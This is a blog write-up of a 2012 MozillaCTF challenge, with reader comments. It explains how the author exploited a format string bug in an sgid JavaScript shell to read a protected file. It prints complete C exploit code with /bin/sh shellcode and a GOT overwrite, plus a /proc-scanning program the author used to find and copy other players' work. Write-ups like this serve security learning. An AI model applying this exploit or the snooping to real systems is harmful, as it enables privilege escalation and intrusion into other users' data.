26
Jan
2012

MozillaCTF 2012 – JS shell exploit

In this challenge we were given an ssh login to a box which contained a commandline js tool and a .js file which made it crash. The tool was sgid, and there was a file owned by the same group named “secret” in the directory, so it seemed we would have to build a working exploit from the example .js and read the secret file.

This is the true, sordid story of how we solved it πŸ™‚

We played around a bit in gdb but didn’t manage to make the memory read on which it crashed land in anything we control. We didn’t really understand what it was doing, so I first tried to find the corresponding source so we could at least get a faint idea of how it worked. Unfortunately, I assumed the bug must be the one which corresponded to the regression test number named in the js file. This bug was very old, so old in fact that I would have to dig around in the old Mozilla CVS to find the correct version. This didn’t really work out too well, so the next step would be to randomly poke the executable with a lot of different inputs and see if it crashed on anything interesting.

After first trying some basic stuff like asking the js interpreter to execute the secret file (this gave no output) and trying to use the builtin ‘snarf’ function to read the secret file (mysteriously didn’t work) it was time to see if we could influence the crash in any way.

I was working on a simple python script and gdb script to bruteforce crash addresses, but the box was really slow (I hadn’t moved to my own box for development yet). Other people must have had the same idea I had, and were using some heavy scripts. Let’s see what they are up to!

Hmm, ‘ps’ doesn’t work, because /proc is not readable. But of course we can work around this:

#include <unistd.h>
#include <stdio.h>

int main() {
	char buf[4096];
	int i;
	
	for (i = 0; i < 0x10000; i++) {
		sprintf(buf, "/proc/%d/cwd", i);
		int n = readlink(buf, buf, sizeof(buf) - 1);
		if (n < 0) continue;
		buf[n] = '\0';
		printf("%s\n", buf);
	}
}

This shows the current working directory of all the processes that are running as the same user. This gives a while bunch of temporary directories in /tmp, /dev/shm, and even /var/tmp. Since the box was still slow, I just used sftp to leech all those directories (as well as ./js and the javascript file) to my local system.

At this point I should point out that while this might be considered ‘cheating’, I don’t really think so. This is a game system, and if people don’t take precautions their answers will get stolen. Hackers gonna hack! πŸ™‚

Unfortunately, noone else really seemed to have made much progress either (or were clever enough to keep it off the system, of course!). There were a few python scripts which were similar to what I was working on, and a bunch of core files. Before playing with these scripts I decided to take a look at the core files, and found one which was particularly interesting:

Core was generated by `/tmp/kkk/js -f secret -o %n%n%n%n%n'

Wow, a format string bug! Those are really easy to exploit! Can we really be so lucky? It seems we are πŸ™‚

$ ./js -f foo -o %x%x
unknown option name '81800fc817f6bd'. The valid names are anonfunfix, atline, jit, relimit, strict, werror and xml.

Trying to exploit this in the traditional way, by passing explicit parameter numbers which allow us to select an argument which is under our control, doesn’t seem to work however:

$ ./js -f foo -o '%500$x'
$ ./js -f foo -o '%x%1$x'
$ ./js -f foo -o '%2$x%1$x'
unknown option name '817f6bd81800fc'. The valid names are anonfunfix, atline, jit, relimit, strict, werror and xml.

It seems this is some custom printf implementation which restricts the argument numbers somehow. But, we can just use a lot of ‘%x’ sequences to seek to the correct argument position.

#include <unistd.h>
#include <malloc.h>
#include <string.h>

#define ENVSIZE 10000
#define OFFSET 2000

int main() {

	char *env[] = {NULL};
	int i;
	char *p;

	char* arg = malloc(ENVSIZE + OFFSET * 4 + 200 + 1);
	p = arg;

	for (i = 0; i < ENVSIZE / 4; p += strlen(p), i++) 
		sprintf(p, "_%03x", i);

	for (i = 0; i < OFFSET; p += strlen(p), i++)
		strcpy(p, "%08x");
	
	char fmt[] = "%n";
	
	sprintf(p, "%-100s", fmt);

	execle("./js", "js", "-f", "foo", "-o", arg, NULL, env);
	perror("exec");
}

This runs the program with a very long -o argument. First come 10000 bytes with a pattern from which we can deduce the correct offset for our arguments, then the format string itself. Note the precautions to prevent changing the stack layout while testing: the binary is run through “./js” (so we don’t have to change the path), there is no environment, and we pad our format string to 100 bytes by adding spaces at the end.

Program received signal SIGSEGV, Segmentation fault.
0x080da5bb in ?? ()
(gdb) x/i $pc
=> 0x80da5bb:	mov    %edx,(%eax)
(gdb) i r $eax
eax            0x375f6532	928998706

So the program is indeed attempting to write to an address we control! But the alignment is slightly off: we want the ‘\x5f’ (the underscore from the pattern) to be the least significant byte. Reducing the size of the arguments by two bytes yields the desired result:

Program received signal SIGSEGV, Segmentation fault.
0x0080da5bb in ?? ()
(gdb) i r $eax
eax            0x6532375f	1697789791
$ echo -e "\x37\x32\x65"
72e

So the argument’s offset in our buffer is 0x72e.

#include <unistd.h>
#include <malloc.h>
#include <string.h>

#define ENVSIZE 10000
#define OFFSET 2000

int main() {

	char *env[] = {NULL};
	int i;
	char *p;

	char* arg = malloc(ENVSIZE + OFFSET * 4 + 200 + 1);
	p = arg;

	for (i = 0; i < ENVSIZE / 4; p += strlen(p), i++) 
		sprintf(p, "_%03x", i);

	p -= 2;

	*((int*) arg)[0x72e] = 0xdeadbeef;

	for (i = 0; i < OFFSET; p += strlen(p), i++)
		strcpy(p, "%08x");
	
	char fmt[] = "%n";
	
	sprintf(p, "%-100s", fmt);

	execle("./js", "js", "-f", "foo", "-o", arg, NULL, env);
	perror("exec");
}
Program received signal SIGSEGV, Segmentation fault.
0x080da5bb in ?? ()
(gdb) i r $eax
eax            0xdeadbeef	-559038737

The rest is quite standard format string exploitation. Since the stack is executable, we can just stuff shellcode in the big argument buffer somewhere and overwrite one of the GOT entries with a pointer to it. We decide to overwrite the GOT entry for malloc() using two writes using the %n modifier. The complete exploit is as follows (note the different argument offset, this is because this is the actual exploit which worked on the target system, while the above is something I later reconstructed on my own system for this writeup).

#include <unistd.h>
#include <malloc.h>
#include <string.h>

#define ENVSIZE 10000
#define OFFSET 2000

int main() {

	int i;
	char *p;
	char* env[] = {NULL};

	// simple shellcode which just runs /bin/sh
	char shellcode[] = "\x31\xc0\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

	// keep track of how many bytes we have written so far, this is needed to write the correct
	// values using %n
	int written = strlen("unknown option name '");

	// the value to write, this is a pointer to our shellcode on the stack
	int write = 0xbfffe008; 

	char* arg = malloc(ENVSIZE + OFFSET * 4 + 200 + 1);	
	p = arg;

	for (i = 0; i < ENVSIZE / 4; p += strlen(p), i++)
		sprintf(p, "_%03x", i);
	
	// to make the above entries aligned to a 4-byte boundary
	p -= 2;
	
	// copy shellcode to the correct point in the buffer to make it end up at 0xbfffe008
	memcpy(arg + 0x9b1 * 4, shellcode, sizeof(shellcode) - 1);

	// so far we have written only plain bytes, no format specifiers
	written += (p - arg);

	// set arguments to overwrite malloc's plt entry
	((int*) arg)[0x732] = 0x8190120;
	((int*) arg)[0x732 + 2] = 0x8190120 + 2;

	// insert dummy "%x" to seek to the correct argument number. use "%08x" so we have a fixed length.
	for (i = 0; i < OFFSET; p += strlen(p), i++)
		strcpy(p, "%08x");
	
	// each format specifier above writes 8 bytes
	written += OFFSET * 8;

	printf("bytes written at start of fmt: %d\n", written);

	// how many bytes to write until the low word of the number of bytes written matches the low
	// word of the value we want to write
	int pad1 = (0x10000 - (written & 0xffff) + (write & 0xffff)) & 0xffff;

	// how many bytes to write until the low word of the number of bytes written matches the high
	// word of the value we want to write
	written += pad1;
	int pad2 = (0x10000 - (written & 0xffff) + (write >> 16)) & 0xffff;

	// build the format string
	char fmt[1024];
	sprintf(fmt, "%%%dx%%n%%%dx%%n", pad1, pad2);
	
	printf("fmt string: %s\n", fmt);

	sprintf(p, "%-100s", fmt);

	printf("arg str size: %d\n", strlen(arg));

	execle("./js", "js", "-f", "foo", "-o", arg, NULL, env);
	perror("exec");
}

{7 Responses to “MozillaCTF 2012 – JS shell exploit”}

  1. Hahaha, /tmp/kkk was me. : Sadly I found the fmt string at 4am local time so I went to sleep not long after.

    Came here kind of hoping someone exploited the original bug. πŸ˜‰

    Brazen Drazen
  2. Not sure if my original comment got through- mod, please delete one.

    AHahah, this is pretty funny πŸ™‚ I was /tmp/kkk, I foolishly assumed mozilla unmounted /proc instead of just changing the permissions. Should have checked. Also I found the format string at about 4:30am and almost immediately went to sleep, so didn’t finish until I woke up at 3pm the next day. hehe.

    Came here hoping someone had done the original challenge instead. Anyway, gg.

    BD
    • Would you please tell us the story of how you found out the format string bug? πŸ™‚

      amon
      • So, the web guys at my company talked to me on IRC and got me to help them do the shell and reversing stuff. On this level I first up tried the straight forward approach. Looked at the original bug and built a script to modify each of the values in the original, try to control the execution flow on crash. Spent a fair time, no real discernible pattern, and I didn’t want to brute force too much because I was slowing the system down and dmesg was giving away my info. I managed to change register values at the crashpoint by changing the number of elements used in the first function call, but nothing good. This is my first CTF, so I wasn’t sure how much work some of the levels would be. I didn’t want to reverse it in-depth and didn’t want to learn firefox js internals too much, and it was getting very late.

        I figured I had maybe an hour that night and an hour or two the next day to try more, so I had to focus on finding bugs that I could do in such a short time period. Basically, stack overflows and format strings in command line parameters were my best chance.

        I looked up the optargs in IDA and also the current version of js (my system had a manpage),and then just started playing with each option combination by hand. When I did ./js -o AAAAAAAAAAAAAA and it said AAAAAA back to me, I tried ./js -o %x and when I saw “The option 0x8cf7blah is not valid” i started laughing pretty hard. My exploit was very dodgy compared to yours. I exported the shellcode into envp and then just did a single 2 byte write, manually adding padding by hand.

        Sure enough, the bug is in the version of js on my laptop, too πŸ™‚

        BD
  3. (You comment got through, comments are indeed moderated)

    admin
  4. can u please upload the js binary file to try out?

    RDY
  5. BD